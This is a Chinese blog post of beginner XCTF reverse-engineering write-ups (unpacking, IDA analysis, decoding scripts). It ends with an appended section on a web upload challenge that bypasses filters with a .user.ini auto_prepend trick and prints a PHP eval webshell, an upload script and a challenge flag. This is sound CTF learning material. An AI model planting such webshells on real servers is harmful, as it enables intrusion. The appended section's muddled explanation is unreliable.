xctf新手逆向训练刷题

这篇博客详细介绍了在xctf平台上的多个逆向工程挑战,包括源码分析、二进制文件脱壳、IDA反编译、脚本编写等技术,涉及多种解题策略和工具使用,如UPX脱壳、EasyPythonDecompiler解密、IDA调试等,旨在帮助新手提升逆向工程技能。

xctf新手逆向训练题

这两天在工作之余刷了下xctf的逆向新手题

0x1 open-source
下载文件后可以直接看源码
在这里插入图片描述
要求是输入4个参数,第一个参数为’0xcafe’,第二个参数是符合判定条件的int值,第三个参数是’h4cky0u’,然后进行一些数据操作得到hash,并用十六进制方式输出(%x)

编写脚本实现,得到flag为0xc0ffee
在这里插入图片描述
0x2 simple-unpack
提示是加了壳的二进制文件,查壳
在这里插入图片描述
一开始不知道怎么脱二进制文件的壳,参考:https://bbs.pediy.com/thread-157645.htm

到软件中提示的地址下载脱壳程序进行脱壳(https://github.com/upx/upx/releases)

在这里插入图片描述
脱壳成功后用IDA查看,即得到flag
在这里插入图片描述0x3 logmein

查看下载的文件
在这里插入图片描述
用IDA找到对应关键字进行分析
在这里插入图片描述重点函数:
在这里插入图片描述编写脚本即可
在这里插入图片描述
注意:小端模式

0x4 insanity
下载文件后直接编辑器就能查看到flag

0x5 getit
IDA中反编译
在这里插入图片描述
可以看到t就是flag,我们需要知道?的数值,编写脚本即可得到flag
在这里插入图片描述
在这里插入图片描述
此题注意:python中字符串是不可以直接操作修改的,可以先改为列表,然后重新生成

0x6 python-trade

.pyc后缀的文件,直接用EasyPythonDecompiler解了,获得源码
在这里插入图片描述
在这里插入图片描述
可以看到操作:对输入的字符串进行自定义的encode操作然后用base64加密

编写脚本解码即得flag
在这里插入图片描述
0x7 re1

放进IDA查看

查看主函数,可以看到只要输入的字符串和v5相同就可以了,找到对应v5的值即可得flag
在这里插入图片描述
0x8 Hello,CTF

用IDA打开,找到主要函数
在这里插入图片描述
从下面的循环判定值为17和上面v13的长度为34猜测出两位代表一个字符

十六进制转ASCII即可得flag
在这里插入图片描述
0x9 no-string-attached

IDA中查看主函数
在这里插入图片描述进入每个函数看看

先看banner()
在这里插入图片描述
就是打印一些东西,查看对应打印的数值(unk_80488B0和8048960)
在这里插入图片描述
可以看到是两个字符串,就是一些欢迎的信息之类的

查看下一个,也是打印一些信息,需要你输入字符串
在这里插入图片描述
再看下一个,是主函数了,只要输入的函数和s2相同即可,s2是两个输入进行decrypt操作后得到的值
在这里插入图片描述
看decrypt,对两个宽字节进行了操作。编写脚本实现功能即可得flag
在这里插入图片描述
在这里插入图片描述
0xA csaw2013reversing2

IDA中看主函数
在这里插入图片描述
通过运行程序,发现并不会进入if的判定。

lpMem+1就是我们需要知道的乱码消息
在这里插入图片描述
可以知道通过memcpy_s操作将unk_409B10的数据给了lpMem
在这里插入图片描述
查看sub_401000
在这里插入图片描述
是对lpMem进行了一些操作的,猜测是由于并没有运行,所以出现乱码

用IDA动态调试(debugger),下断点
在这里插入图片描述
跳过进入判定后的ExitProcess(),直接跳到下面弹出messageboxA的地方,就能得到flag了
在这里插入图片描述
0xB maze

看题目就知道是一个迷宫题

IDA中找主函数
在这里插入图片描述
看到这四个不同函数的判断,猜测应该就是上下左右了
在这里插入图片描述
分别点进去查看,得知’O’为左,‘o’为右,’.‘为上,‘0’为下,并且在函数中有规定了8这个边界值
在这里插入图片描述
接下来找迷宫和终点
在这里插入图片描述
通过最终判定的条件,可以知道终点是’#’
在这里插入图片描述
601060就是需要找的迷宫
在这里插入图片描述
在HEX界面查看
在这里插入图片描述
根据边界值8重新排列,23就是终点,只走20即可得flag
在这里插入图片描述

### 关于XCTF比赛中的Web类目EasyUpload的解思路 #### 目背景 在XCTF比赛中,`EasyUpload` 是一道典型的Web安全目,主要考察选手对于文件上传漏洞的理解以及绕过机制的能力。该目通过设置特定的文件名过滤规则和执行环境配置来增加攻击难度。 #### 文件上传限制与绕过方式 根据已知的信息,在此目中存在对`.php`扩展名的严格限制[^2]。然而,可以通过利用PHP解析器的行为特性实现绕过。具体来说: - **上传 `.user.ini` 文件** 可以先上传一个`.user.ini`文件到服务器上,并将其内容设置为 `auto_prepend_file=hp.jpg`。这会使得任何访问同一目录下的PHP脚本时都会自动加载并运行指定路径中的`hp.jpg`文件。 - **创建图片马 (Image Shell)** 接着准备一张带有恶意代码嵌入的图片文件(即所谓的“图片马”)。这种类型的文件既满足图像格式验证又隐藏了可被执行的PHP代码。当上述提到的 auto-prepend 功能生效后,即使表面上看起来只是普通的JPEG/PNG等图形数据流,实际上内部却包含了能够被解释成合法 PHP 脚本的部分[^3]。 #### 获取Shell的过程描述 完成以上两步操作之后,只要目标站点允许正常浏览或者调用位于相同位置内的其他标准PHP文档,则触发预先定义好的行为链路即可成功获取远程命令执行权限(shell): ```bash http://target/index.php ``` 此时由于之前设定的影响,实际效果相当于请求如下URL地址所代表的动作: ```bash <?php @eval($_POST['cmd']);?> ``` 最终达到控制受害主机的目的。 #### 提取Flag的关键步骤 最后一步是从获得完全操控权后的环境中定位存储敏感信息的位置——通常情况下就是寻找FLAG字符串所在之处。按照官方给出的标准解答流程来看,应该是在根目录发现了名为`flag.txt`或者其他类似的纯文本载体对象,其内容正是我们需要提交的答案部分:`cyberpeace{7c01eb9472b1ae3db8fb2abe1aa670b0}`。 ### 注意事项 需要注意的是,在真实世界的安全测试活动中应当遵循法律法规的要求,不得擅自尝试未经授权的目标系统;同时也要注意保护个人隐私和技术成果归属等问。 ```python import requests url = "http://example.com/upload" files = {'file': ('payload.user.ini', open('payload.user.ini', 'rb'))} r = requests.post(url, files=files) print(r.text) ```
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值